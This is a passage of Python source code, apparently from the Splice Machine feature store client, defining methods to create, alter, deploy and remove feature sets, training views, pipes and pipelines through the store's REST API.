primary_keys: The primary key column(s) of this feature set\n :param desc: The (optional) description\n :param features: An optional list of features. If provided, any non-existant Features will be created with the Feature Set\n :Example:\n .. code-block:: python\n\n from splicemachine.features import FeatureType, Feature\n f1 = Feature(\n name='my_first_feature',\n description='the first feature',\n feature_data_type='INT',\n feature_type=FeatureType.ordinal,\n tags=['good_feature','a new tag', 'ordinal'],\n attributes={'quality':'awesome'}\n )\n f2 = Feature(\n name='my_second_feature',\n description='the second feature',\n feature_data_type='FLOAT',\n feature_type=FeatureType.continuous,\n tags=['not_as_good_feature','a new tag'],\n attributes={'quality':'not as awesome'}\n )\n feats = [f1, f2]\n feature_set = fs.update_feature_set(\n schema_name='splice',\n table_name='foo',\n primary_keys={'MOMENT_KEY':\"INT\"},\n desc='test fset',\n features=feats\n )\n\n :return: FeatureSet\n \"\"\"\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n features = [f.__dict__ for f in features] if features else None\n fset_dict = {\"primary_keys\": {pk: sql_to_datatype(primary_keys[pk]) for pk in primary_keys},\n \"description\": desc,\n \"features\": features}\n\n print(f'Registering feature set {schema_name}.{table_name} in Feature Store')\n if features:\n print(f'Registering {len(features)} features for {schema_name}.{table_name} in the Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.FEATURE_SETS}/{schema_name}.{table_name}', RequestType.PUT,\n self._auth, body=fset_dict)\n return FeatureSet(**r)\n\n def alter_feature_set(self, schema_name: str, table_name: str, primary_keys: Optional[Dict[str, str]] = None,\n desc: Optional[str] = None, version: Optional[Union[str, int]] = None) -> FeatureSet:\n \"\"\"\n Alters the specified (or default latest) version of a feature set, if that version is not yet deployed. Use this method when you want to make changes to\n an undeployed version of a feature set, or when you want to change version-independant metadata, such as description.\n\n :param schema_name: The schema under which to create the feature set table\n :param table_name: The table name for this feature set\n :param primary_keys: The primary key column(s) of this feature set\n :param desc: The (optional) description\n :param version: The version you wish to alter (number or 'latest'). If None, will default to the latest undeployed version\n :return: FeatureSet\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n params = {'version': version}\n fset_dict = {\n \"primary_keys\": {pk: sql_to_datatype(primary_keys[pk]) for pk in primary_keys} if primary_keys else None,\n \"description\": desc}\n\n print(f'Registering feature set {schema_name}.{table_name} in Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.FEATURE_SETS}/{schema_name}.{table_name}', RequestType.PATCH,\n self._auth,\n params=params, body=fset_dict)\n return FeatureSet(**r)\n\n def update_feature_metadata(self, name: str, desc: Optional[str] = None, tags: Optional[List[str]] = None,\n attributes: Optional[Dict[str, str]] = None):\n \"\"\"\n Update the metadata of a feature\n\n :param name: The feature name\n :param desc: The (optional) feature description (default None)\n :param tags: (optional) List of (str) tag words (default None)\n :param attributes: (optional) Dict of (str) attribute key/value pairs (default None)\n :return: updated Feature\n \"\"\"\n f_dict = {\"description\": desc, 'tags': tags, \"attributes\": attributes}\n print(f'Registering feature {name} in Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.FEATURES}/{name}', RequestType.PUT, self._auth,\n body=f_dict)\n f = Feature(**r)\n return f\n\n def create_feature(self, schema_name: str, table_name: str, name: str, feature_data_type: str,\n feature_type: str, desc: str = None, tags: List[str] = None, attributes: Dict[str, str] = None):\n \"\"\"\n Add a feature to a feature set\n\n :param schema_name: The feature set schema\n :param table_name: The feature set table name to add the feature to\n :param name: The feature name\n :param feature_data_type: The datatype of the feature. Must be a valid SQL datatype\n :param feature_type: splicemachine.features.FeatureType of the feature. The available types are from the FeatureType class: FeatureType.[categorical, ordinal, continuous].\n You can see available feature types by running\n\n .. code-block:: python\n\n from splicemachine.features import FeatureType\n print(FeatureType.get_valid())\n\n :param desc: The (optional) feature description (default None)\n :param tags: (optional) List of (str) tag words (default None)\n :param attributes: (optional) Dict of (str) attribute key/value pairs (default None)\n :return: Feature created\n \"\"\"\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n assert feature_type in FeatureType.get_valid(), f\"The feature_type {feature_type} in not valid. Valid feature \" \\\n f\"types include {FeatureType.get_valid()}. Use the FeatureType\" \\\n f\" class provided by splicemachine.features\"\n\n f_dict = {\"name\": name, \"description\": desc or '', \"feature_data_type\": sql_to_datatype(feature_data_type),\n \"feature_type\": feature_type, \"tags\": tags, \"attributes\": attributes}\n print(f'Registering feature {name} in Feature Store')\n r = make_request(self._FS_URL, Endpoints.FEATURES, RequestType.POST, self._auth,\n {\"schema\": schema_name, \"table\": table_name}, f_dict)\n f = Feature(**r)\n return f\n # TODO: Backfill the feature\n\n def create_training_view(self, name: str, sql: str, primary_keys: List[str], join_keys: List[str],\n ts_col: str, label_col: Optional[str] = None, desc: Optional[str] = None) -> None:\n \"\"\"\n Registers a training view for use in generating training SQL\n\n :param name: The training set name. This must be unique to other existing training sets\n :param sql: (str) a SELECT statement that includes:\\n\n * the primary key column(s) - uniquely identifying a training row/case\n * the inference timestamp column - timestamp column with which to join features (temporal join timestamp)\n * join key(s) - the references to the other feature tables' primary keys (ie customer_id, location_id)\n * (optionally) the label expression - defining what the training set is trying to predict\n :param primary_keys: (List[str]) The list of columns from the training SQL that identify the training row\n :param ts_col: The timestamp column of the training SQL that identifies the inference timestamp\n :param label_col: (Optional[str]) The optional label column from the training SQL.\n :param replace: (Optional[bool]) Whether to replace an existing training view\n :param join_keys: (List[str]) A list of join keys in the sql that are used to get the desired features in\n get_training_set\n :param desc: (Optional[str]) An optional description of the training set\n :param verbose: Whether or not to print the SQL before execution (default False)\n :return:\n \"\"\"\n assert name != \"None\", \"Name of training view cannot be None!\"\n\n tv_dict = {\"name\": name, \"description\": desc, \"pk_columns\": primary_keys, \"ts_column\": ts_col,\n \"label_column\": label_col,\n \"join_columns\": join_keys, \"sql_text\": sql}\n print(f'Registering Training View {name} in the Feature Store')\n make_request(self._FS_URL, Endpoints.TRAINING_VIEWS, RequestType.POST, self._auth, body=tv_dict)\n\n def update_training_view(self, name: str, sql: str, primary_keys: List[str], join_keys: List[str],\n ts_col: str, label_col: Optional[str] = None, desc: Optional[str] = None) -> TrainingView:\n \"\"\"\n Creates and returns a new version of a training view for use in generating training SQL. Use this function when you want to\n make changes to a training view without affecting its dependencies\n\n :param name: The training set name.\n :param sql: (str) a SELECT statement that includes:\\n\n * the primary key column(s) - uniquely identifying a training row/case\n * the inference timestamp column - timestamp column with which to join features (temporal join timestamp)\n * join key(s) - the references to the other feature tables' primary keys (ie customer_id, location_id)\n * (optionally) the label expression - defining what the training set is trying to predict\n :param primary_keys: (List[str]) The list of columns from the training SQL that identify the training row\n :param ts_col: The timestamp column of the training SQL that identifies the inference timestamp\n :param label_col: (Optional[str]) The optional label column from the training SQL.\n :param replace: (Optional[bool]) Whether to replace an existing training view\n :param join_keys: (List[str]) A list of join keys in the sql that are used to get the desired features in\n get_training_set\n :param desc: (Optional[str]) An optional description of the training set\n :param verbose: Whether or not to print the SQL before execution (default False)\n :return:\n \"\"\"\n assert name != \"None\", \"Name of training view cannot be None!\"\n\n tv_dict = {\"description\": desc, \"pk_columns\": primary_keys, \"ts_column\": ts_col, \"label_column\": label_col,\n \"join_columns\": join_keys, \"sql_text\": sql}\n print(f'Registering Training View {name} in the Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.TRAINING_VIEWS}/{name}', RequestType.PUT, self._auth, body=tv_dict)\n return TrainingView(**r)\n\n def alter_training_view(self, name: str, sql: Optional[str] = None, primary_keys: Optional[List[str]] = None,\n join_keys: Optional[List[str]] = None, ts_col: Optional[str] = None,\n label_col: Optional[str] = None,\n desc: Optional[str] = None, version: Optional[Union[str, int]] = None) -> TrainingView:\n \"\"\"\n Alters an existing version of a training view. Use this method when you want to make changes to a version of a training view\n that has no dependencies, or when you want to change version-independent metadata, such as description.\n\n :param name: The training set name. This must be unique to other existing training sets unless replace is True\n :param sql: (str) a SELECT statement that includes:\\n\n * the primary key column(s) - uniquely identifying a training row/case\n * the inference timestamp column - timestamp column with which to join features (temporal join timestamp)\n * join key(s) - the references to the other feature tables' primary keys (ie customer_id, location_id)\n * (optionally) the label expression - defining what the training set is trying to predict\n :param primary_keys: (List[str]) The list of columns from the training SQL that identify the training row\n :param ts_col: The timestamp column of the training SQL that identifies the inference timestamp\n :param label_col: (Optional[str]) The optional label column from the training SQL.\n :param join_keys: (List[str]) A list of join keys in the sql that are used to get the desired features in\n get_training_set\n :param desc: (Optional[str]) An optional description of the training set\n :param version: The version you wish to alter (number or 'latest'). If None, will default to the latest version\n :return:\n \"\"\"\n assert name != \"None\", \"Name of training view cannot be None!\"\n\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n params = {'version': version}\n tv_dict = {\"description\": desc, \"pk_columns\": primary_keys, \"ts_column\": ts_col, \"label_column\": label_col,\n \"join_columns\": join_keys, \"sql_text\": sql}\n print(f'Registering Training View {name} in the Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.TRAINING_VIEWS}/{name}', RequestType.PATCH, self._auth,\n params=params, body=tv_dict)\n return TrainingView(**r)\n\n def _process_features(self, features: List[Union[Feature, str]]) -> List[Feature]:\n \"\"\"\n Process a list of Features parameter. If the list is strings, it converts them to Features, else returns itself\n\n :param features: The list of Feature names or Feature objects\n :return: List[Feature]\n \"\"\"\n feat_str = [f for f in features if isinstance(f, str)]\n str_to_feat = self.get_features_by_name(names=feat_str, as_list=True) if feat_str else []\n all_features = str_to_feat + [f for f in features if not isinstance(f, str)]\n assert all(\n [isinstance(i, Feature) for i in all_features]), \"It seems you've passed in Features that are neither\" \\\n \" a feature name (string) or a Feature object\"\n return all_features\n\n def deploy_feature_set(self, schema_name: str, table_name: str, version: Union[str, int] = 'latest',\n migrate: bool = False):\n \"\"\"\n Deploys a feature set to the database. This persists the feature sets existence.\n As of now, once deployed you cannot delete the feature set or add/delete features.\n The feature set must have already been created with :py:meth:`~features.FeatureStore.create_feature_set`\n\n :param schema_name: The schema of the created feature set\n :param table_name: The table of the created feature set\n :param version: The version of the feature set to deploy\n :param migrate: Whether or not to migrate data from a past version of this feature set\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n print(f'Deploying Feature Set {schema_name}.{table_name}...', end=' ')\n make_request(self._FS_URL, Endpoints.DEPLOY_FEATURE_SET, RequestType.POST, self._auth,\n {\"schema\": schema_name, \"table\": table_name, \"version\": version, \"migrate\": migrate})\n print('Done.')\n\n def get_features_from_feature_set(self, schema_name: str, table_name: str) -> List[Feature]:\n \"\"\"\n Returns either a pandas DF of feature details or a List of features for a specified feature set.\n You can get features from multiple feature sets by concatenating the results of this call.\n For example, to get features from 2 feature sets, `foo.bar1` and `foo2.bar4`:\n\n .. code-block:: python\n\n features = fs.get_features_from_feature_set('foo','bar1') + fs.get_features_from_feature_set('foo2','bar4')\n\n If you want a list of just the Feature NAMES (ie a List[str]) you can simply run:\n\n .. code-block:: python\n\n features = fs.get_features_from_feature_set('foo','bar1') + fs.get_features_from_feature_set('foo2','bar4')\n feature_names = [f.name for f in features]\n\n :param schema_name: Feature Set schema name\n :param table_name: Feature Set table name\n :return: List of Features\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.FEATURE_SET_DETAILS, RequestType.GET, self._auth,\n params={'schema': schema_name, 'table': table_name})\n features = [Feature(**feature) for feature in r.pop(\"features\")]\n return features\n\n def describe_feature_sets(self) -> None:\n \"\"\"\n Prints out a description of a all feature sets, with all features in the feature sets and whether the feature\n set is deployed\n\n :return: None\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.FEATURE_SET_DETAILS, RequestType.GET, self._auth)\n\n print('Available feature sets')\n for desc in r if type(r) == list else [r]:\n features = [Feature(**feature) for feature in desc.pop('features')]\n fset = FeatureSet(**desc)\n print('-' * 23)\n self._feature_set_describe(fset, features)\n\n def describe_feature_set(self, schema_name: str, table_name: str) -> None:\n \"\"\"\n Prints out a description of a given feature set, with all features in the feature set and whether the feature\n set is deployed\n\n :param schema_name: feature set schema name\n :param table_name: feature set table name\n :return: None\n \"\"\"\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n r = make_request(self._FS_URL, Endpoints.FEATURE_SET_DETAILS, RequestType.GET, self._auth,\n params={'schema': schema_name, 'table': table_name})\n desc = r\n if not desc: raise SpliceMachineException(\n f\"Feature Set {schema_name}.{table_name} not found. Check name and try again.\")\n features = [Feature(**feature) for feature in desc.pop(\"features\")]\n fset = FeatureSet(**desc)\n self._feature_set_describe(fset, features)\n\n def _feature_set_describe(self, fset: FeatureSet, features: List[Feature]):\n print(f'{fset.schema_name}.{fset.table_name} - {fset.description}')\n print('Primary keys:', fset.primary_keys)\n print('\\nAvailable features:')\n display(pd.DataFrame(f.__dict__ for f in features))\n\n def describe_training_views(self) -> None:\n \"\"\"\n Prints out a description of all training views, the ID, name, description and optional label\n\n :param training_view: The training view name\n :return: None\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.TRAINING_VIEW_DETAILS, RequestType.GET, self._auth)\n\n print('Available training views')\n for desc in r if type(r) == list else [r]:\n features = [Feature(**f) for f in desc.pop('features')]\n tcx = TrainingView(**desc)\n print('-' * 23)\n self._training_view_describe(tcx, features)\n\n def describe_training_view(self, training_view: str, version: Union[int, str] = 'latest') -> None:\n \"\"\"\n Prints out a description of a given training view, the ID, name, description and optional label\n\n :param training_view: The training view name\n :param version: The training view version\n :return: None\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n r = make_request(self._FS_URL, Endpoints.TRAINING_VIEW_DETAILS, RequestType.GET, self._auth,\n {'name': training_view, 'version': version})\n desc = r\n if not desc: raise SpliceMachineException(f\"Training view {training_view} not found. Check name and try again.\")\n\n feats = [Feature(**f) for f in desc.pop('features')]\n tcx = TrainingView(**desc)\n self._training_view_describe(tcx, feats)\n\n def _training_view_describe(self, tcx: TrainingView, feats: List[Feature]):\n print(f'ID({tcx.view_id}) {tcx.name} - {tcx.description} - LABEL: {tcx.label_column}')\n print(f'Available features in {tcx.name}:')\n\n col_order = ['name', 'description', 'feature_data_type', 'feature_set_name', 'feature_type', 'tags',\n 'last_update_ts',\n 'last_update_username', 'compliance_level', 'feature_set_id', 'feature_id']\n display(pd.DataFrame(f.__dict__ for f in feats)[col_order])\n\n def set_feature_description(self):\n raise NotImplementedError\n\n def get_training_set_from_deployment(self, schema_name: str, table_name: str, label: str = None,\n return_pk_cols: bool = False, return_ts_col: bool = False,\n return_type: str = 'spark'):\n \"\"\"\n Reads Feature Store metadata to rebuild orginal training data set used for the given deployed model.\n\n :param schema_name: model schema name\n :param table_name: model table name\n :param label: An optional label to specify for the training set. If specified, the feature set of that feature\n will be used as the \"anchor\" feature set, meaning all point in time joins will be made to the timestamps of\n that feature set. This feature will also be recorded as a \"label\" feature for this particular training set\n (but not others in the future, unless this label is again specified).\n :param return_pk_cols: bool Whether or not the returned sql should include the primary key column(s)\n :param return_ts_cols: bool Whether or not the returned sql should include the timestamp column\n :param return_type: How the data should be returned. If not specified, a Spark DF will be returned.\n Available arguments are: 'spark', 'pandas', 'json', 'sql'\n sql will return the SQL necessary to generate the dataframe\n :return: SparkDF the Training Frame\n \"\"\"\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n if return_type not in ReturnType.get_valid():\n raise SpliceMachineException(f'Return type must be one of {ReturnType.get_valid()}')\n\n r = make_request(self._FS_URL, Endpoints.TRAINING_SET_FROM_DEPLOYMENT, RequestType.GET, self._auth,\n {\"schema\": schema_name, \"table\": table_name, \"label\": label,\n \"pks\": return_pk_cols, \"ts\": return_ts_col,\n 'return_type': ReturnType.map_to_request(return_type)})\n\n metadata = r['metadata']\n\n tv_name = metadata['name']\n start_time = metadata['training_set_start_ts']\n end_time = metadata['training_set_end_ts']\n create_time = metadata['training_set_create_ts']\n\n tv = TrainingView(**r['training_view']) if 'training_view' in r else None\n features = [Feature(**f) for f in r['features']]\n\n if self.mlflow_ctx:\n self.link_training_set_to_mlflow(features, create_time, start_time, end_time, tv)\n\n return _format_training_set_output(response=r, return_type=return_type, splice_ctx=self.splice_ctx)\n\n def remove_feature(self, name: str):\n \"\"\"\n Removes a feature. This will run 2 checks.\n 1. See if the feature exists.\n 2. See if the feature belongs to a feature set that has already been deployed.\n\n If either of these are true, this function will throw an error explaining which check has failed\n\n :param name: feature name\n :return:\n \"\"\"\n print(f\"Removing feature {name}...\", end=' ')\n make_request(self._FS_URL, f'{Endpoints.FEATURES}/{name}', RequestType.DELETE, self._auth)\n print('Done.')\n\n def get_deployments(self, schema_name: str = None, table_name: str = None, training_set: str = None,\n feature: str = None, feature_set: str = None, version: Union[str, int] = None):\n \"\"\"\n Returns a list of all (or specified) available deployments\n\n :param schema_name: model schema name\n :param table_name: model table name\n :param training_set: training set name\n :param feature: passing this in will return all deployments that used this feature\n :param feature_set: passing this in will return all deployments that used this feature set\n :param version: the version of the feature set parameter, if used\n :return: List[Deployment] the list of Deployments as dicts\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n return make_request(self._FS_URL, Endpoints.DEPLOYMENTS, RequestType.GET, self._auth,\n {'schema': schema_name, 'table': table_name, 'name': training_set, 'feat': feature,\n 'fset': feature_set, 'version': version})\n\n def get_training_set_features(self, training_set: str = None):\n \"\"\"\n Returns a list of all features from an available Training Set, as well as details about that Training Set\n\n :param training_set: training set name\n :return: TrainingSet as dict\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.TRAINING_SET_FEATURES, RequestType.GET, self._auth,\n {'name': training_set})\n r['features'] = [Feature(**f) for f in r['features']]\n return r\n\n def remove_feature_set(self, schema_name: str, table_name: str, version: Union[str, int] = None,\n purge: bool = False) -> None:\n \"\"\"\n Deletes a feature set if appropriate. You can currently delete a feature set in two scenarios:\n 1. The feature set has not been deployed\n 2. The feature set has been deployed, but not linked to any training sets\n\n If both of these conditions are false, this will fail.\n\n Optionally set purge=True to force delete the feature set and all of the associated Training Sets using the\n Feature Set. ONLY USE IF YOU KNOW WHAT YOU ARE DOING. This will delete Training Sets, but will still fail if\n there is an active deployment with this feature set. That cannot be overwritten\n\n :param schema_name: The Feature Set Schema\n :param table_name: The Feature Set Table\n :param version: The Feature Set Version\n :param purge: Whether to force delete training sets that use the feature set (that are not used in deployments)\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n if purge:\n warnings.warn(\"You've set purge=True, I hope you know what you are doing! This will delete any dependent\"\n \" Training Sets (except ones used in an active model deployment)\")\n print(f'Removing Feature Set {schema_name}.{table_name}...', end=' ')\n make_request(self._FS_URL, Endpoints.FEATURE_SETS,\n RequestType.DELETE, self._auth,\n {\"schema\": schema_name, \"table\": table_name, \"version\": version, \"purge\": purge})\n print('Done.')\n\n def get_pipes(self, names: Optional[List[str]] = None) -> List[Pipe]:\n \"\"\"\n Returns a list of pipes whose names are provided\n\n :param names: The list of pipe names\n :return: List[Pipe] The list of Pipe objects\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.PIPES, RequestType.GET, self._auth, {\"name\": names})\n return [Pipe(**p, splice_ctx=self.splice_ctx) for p in r]\n\n def get_pipe(self, name: str, version: Optional[Union[str, int]] = 'latest') -> Pipe:\n \"\"\"\n Returns a pipe version\n\n :param name: The pipe name\n :param version: The version to return (either an int or 'latest'). Default is 'latest'\n :return: List[Pipe] The list of Pipe objects\n \"\"\"\n assert version, \"version cannot be none!\"\n r = make_request(self._FS_URL, f'{Endpoints.PIPES}/{name}', RequestType.GET, self._auth, {\"version\": version})\n return Pipe(**r[0], splice_ctx=self.splice_ctx)\n\n def get_pipe_versions(self, name: str) -> List[Pipe]:\n \"\"\"\n Returns a pipe version or list of pipe versions for a provided pipe name\n\n :param name: The pipe name\n :return: List[Pipe] The list of Pipe objects\n \"\"\"\n r = make_request(self._FS_URL, f'{Endpoints.PIPES}/{name}', RequestType.GET, self._auth)\n return [Pipe(**p, splice_ctx=self.splice_ctx) for p in r]\n\n def create_pipe(self, name: str, ptype: str, lang: str, func: Callable, description: Optional[str] = None) -> Pipe:\n \"\"\"\n Creates and returns a new pipe\n\n :param name: The pipe name. This must be unique to other pipes\n :param ptype: splicemachine.features.PipeType of the pipe. The available types are from the PipeType class: PipeType.[source, batch, online, realtime].\n You can see available feature types by running\n\n .. code-block:: python\n\n from splicemachine.features import PipeType\n print(PipeType.get_valid())\n\n :param lang: str The language of the pipe's function. Currently supported types are 'python', 'pyspark', and 'sql'\n :param func: The actual python function or sql query used in the transformation\n :param description: (Optional[str]) An optional description of the pipe\n :return:\n \"\"\"\n assert ptype in PipeType.get_valid(), f\"The pipe type {ptype} is not valid. Valid pipe \" \\\n f\"types include {PipeType.get_valid()}. Use the PipeType\" \\\n f\" class provided by splicemachine.features\"\n\n assert lang in PipeLanguage.get_valid(), f\"The pipe language {lang} is not supported. Currently supported\" \\\n f\"languages include {PipeLanguage.get_valid()}. Use the PipeLanguage\" \\\n f\" class provided by splicemachine.features\"\n\n func.__globals__.pop('splice', None)\n func.__globals__.pop('spark', None)\n f = base64.encodebytes(cloudpickle.dumps(func)).decode('ascii').strip()\n p_dict = { \"name\": name, \"description\": description, \"ptype\": ptype, \"lang\": lang, \"func\": f, \"code\": getsource(func) }\n\n print(f'Registering Pipe {name} in the Feature Store')\n r = make_request(self._FS_URL, Endpoints.PIPES, RequestType.POST, self._auth, body=p_dict)\n return Pipe(**r, splice_ctx=self.splice_ctx)\n\n def update_pipe(self, name: str, func: Callable, description: Optional[str] = None) -> Pipe:\n \"\"\"\n Creates and returns a new version of a pipe. Use this function when you want to\n make changes to a pipe without affecting its dependencies\n\n :param name: The pipe name.\n :param func: The actual python function or sql query used in the transformation\n :param description: (Optional[str]) An optional description of the pipe\n :return:\n \"\"\"\n assert name != \"None\", \"Name of pipe cannot be None!\"\n\n func.__globals__.pop('splice', None)\n func.__globals__.pop('spark', None)\n f = base64.encodebytes(cloudpickle.dumps(func)).decode('ascii').strip()\n p_dict = { \"description\": description, \"func\": f, \"code\": getsource(func) }\n\n print(f'Updating Pipe {name} in the Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.PIPES}/{name}', RequestType.PUT, self._auth, body=p_dict)\n return Pipe(**r, splice_ctx=self.splice_ctx)\n\n def alter_pipe(self, name: str, func: Optional[Union[str, Callable]] = None, description: Optional[str] = None,\n version: Union[int, str] = 'latest') -> Pipe:\n \"\"\"\n Alters an existing version of a pipe. Use this method when you want to make changes to a version of a pipe\n that has no dependencies, or when you want to change version-independent metadata, such as description.\n\n :param name: The pipe name.\n :param func: The actual python function or sql query used in the transformation\n :param description: (Optional[str]) An optional description of the pipe\n :param version: The version to alter (either an int or 'latest'). Default 'latest'\n :return:\n \"\"\"\n assert name != \"None\", \"Name of pipe cannot be None!\"\n assert func or description, \"Please enter either a function or description\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n if func:\n func.__globals__.pop('splice', None)\n func.__globals__.pop('spark', None)\n f = base64.encodebytes(cloudpickle.dumps(func)).decode('ascii').strip()\n c = getsource(func)\n else:\n f = None\n c = None\n\n p_dict = { \"description\": description, \"func\": f , \"code\": c}\n params = { \"version\" : version }\n\n print(f'Altering Pipe {name} in the Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.PIPES}/{name}', RequestType.PATCH, self._auth, params=params,\n body=p_dict)\n return Pipe(**r, splice_ctx=self.splice_ctx)\n\n def remove_pipe(self, name: str, version: Union[int, str] = None) -> None:\n \"\"\"\n Removes an existing version of a pipe. If no versions remain, deletes pipe metadata.\n\n :param name: The pipe name.\n :param version: The version to remove (either an int or 'latest'). If None, removes all versions\n :return:\n \"\"\"\n assert name != \"None\", \"Name of pipe cannot be None!\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n p_dict = {\"version\": version}\n\n print(f'Removing Pipe {name} from the Feature Store')\n make_request(self._FS_URL, f'{Endpoints.PIPES}/{name}', RequestType.DELETE, self._auth, params=p_dict)\n\n def get_pipelines(self, names: Optional[List[str]] = None) -> List[Pipeline]:\n \"\"\"\n Returns a list of pipelines whose names are provided\n\n :param names: The list of pipeline names\n :return: List[Piplinee] The list of Pipeline objects\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.PIPELINES, RequestType.GET, self._auth, { \"name\": names })\n pipelines = []\n for pl in r:\n pl['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in pl['pipes']]\n pipelines.append(Pipeline(**pl))\n return pipelines\n\n def get_pipeline(self, name: str, version: Optional[Union[str, int]] = 'latest') -> Pipeline:\n \"\"\"\n Returns a pipeline version\n\n :param name: The pipeline name\n :param version: The version to return (either an int or 'latest'). Default is 'latest'\n :return: List[Pipeline] The list of Pipeline objects\n \"\"\"\n assert version, \"version cannot be none!\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n \n r = make_request(self._FS_URL, f'{Endpoints.PIPELINES}/{name}', RequestType.GET, self._auth, { \"version\": version })\n pl = r[0]\n pl['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in pl['pipes']]\n return Pipeline(**pl)\n\n def get_pipeline_versions(self, name: str) -> List[Pipeline]:\n \"\"\"\n Returns a pipeline version or list of pipeline versions for a provided pipeline name\n\n :param name: The pipeline name\n :return: List[Pipe] The list of Pipeline objects\n \"\"\"\n r = make_request(self._FS_URL, f'{Endpoints.PIPELINES}/{name}', RequestType.GET, self._auth)\n pipelines = []\n for pl in r:\n pl['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in pl['pipes']]\n pipelines.append(Pipeline(**pl))\n return pipelines\n\n def create_pipeline(self, name: str, pipeline_start_date: datetime, pipeline_interval: str, pipes: List[Union[str, Pipe]], description: Optional[str] = None) -> Pipeline:\n \"\"\"\n Creates and returns a new pipeline\n\n :param name: The pipeline name. This must be unique to other pipelines\n :param pipeline_start_date: The start date of the pipe when deployed. This can be in the past, if a backfill is desired, or in the future. \n Any granularity smaller than a day will be ignored.\n :param pipeline_interval: str The interval at which to run the pipeline. Either a cron expression or an Airflow cron preset\n :param pipes: An (ordered) list of the pipes (or pipe names) that make up this pipeline\n :param description: (Optional[str]) An optional description of the pipeline\n :return:\n \"\"\"\n pipes = [p if isinstance(p, str) else p._to_json() for p in pipes]\n p_dict = { \"name\": name, \"description\": description, \"pipeline_start_date\": str(pipeline_start_date), \"pipeline_interval\": pipeline_interval, \"pipes\": pipes }\n\n print(f'Registering Pipeline {name} in the Feature Store')\n r = make_request(self._FS_URL, Endpoints.PIPELINES, RequestType.POST, self._auth, body=p_dict)\n r['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in r['pipes']]\n return Pipeline(**r)\n\n def update_pipeline(self, name: str, pipeline_start_date: datetime, pipeline_interval: str, pipes: List[Union[str, Pipe]], description: Optional[str] = None) -> Pipeline:\n \"\"\"\n Creates and returns a new version of a pipeline. Use this function when you want to\n make changes to a pipeline without affecting its dependencies\n\n :param name: The pipeline name. This must be unique to other pipelines\n :param pipeline_start_date: The start date of the pipe when deployed. This can be in the past, if a backfill is desired, or in the future. \n Any granularity smaller than a day will be ignored.\n :param pipeline_interval: str The interval at which to run the pipeline. Either a cron expression or an Airflow cron preset\n :param pipes: An (ordered) list of the pipes (or pipe names) that make up this pipeline\n :param description: (Optional[str]) An optional description of the pipeline\n :return:\n \"\"\"\n assert name != \"None\", \"Name of pipeline cannot be None!\"\n\n pipes = [p if isinstance(p, str) else p._to_json() for p in pipes]\n p_dict = { \"description\": description, \"pipeline_start_date\": str(pipeline_start_date), \"pipeline_interval\": pipeline_interval, \"pipes\": pipes }\n\n print(f'Updating Pipeline {name} in the Feature Store')\n r = make_request(self._FS_URL, f'{Endpoints.PIPELINES}/{name}', RequestType.PUT, self._auth, body=p_dict)\n r['pipes'] = [Pipe(**p, splice_ctx=self.splice_ctx) for p in r['pipes']]\n return Pipeline(**r)\n\n def alter_pipeline(self, name: str, pipeline_start_date: Optional[date] = None, pipeline_interval: Optional[str] = None, pipes: Optional[List[Union[str, Pipe]]] = None, \n description: Optional[str] = None, version: Union[int, str] = 'latest') -> Pipe:\n \"\"\"\n Alters an existing version of a pipeline. Use this method when you want to make changes to a version of a pipeline\n that has no dependencies, or when you want to change version-independent metadata, such as description.\n\n :param name: The pipeline name. This must be unique to other pipelines\n :param pipeline_start_date: The start date of the pipe when deployed. This can be in the past, if a backfill is desired, or in the future. \n Any granularity smaller than a day will be ignored.\n :param pipeline_interval: str The interval at which to run the pipeline. Either a cron expression or an Airflow cron preset\n :param pipes: An (ordered) list of the pipes (or pipe names) that make up this pipeline\n :param description: (Optional[str]) An optional description of the pipeline\n :param version: The version to alter (either an int or 'latest'). Default 'latest'\n :return:\n \"\"\"\n assert name != \"None\", \"Name of pipeline cannot be None!\"\n assert pipeline_start_date or pipeline_interval or pipes or description, \"At least one attribute must be entered to alter\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n pipes = [p if isinstance(p, str) else p._to_json() for p in pipes] if pipes else None\n p_dict = { \"description\": description, \"pipeline_start_date\": str(pipeline_start_date) if pipeline_start_date else None, 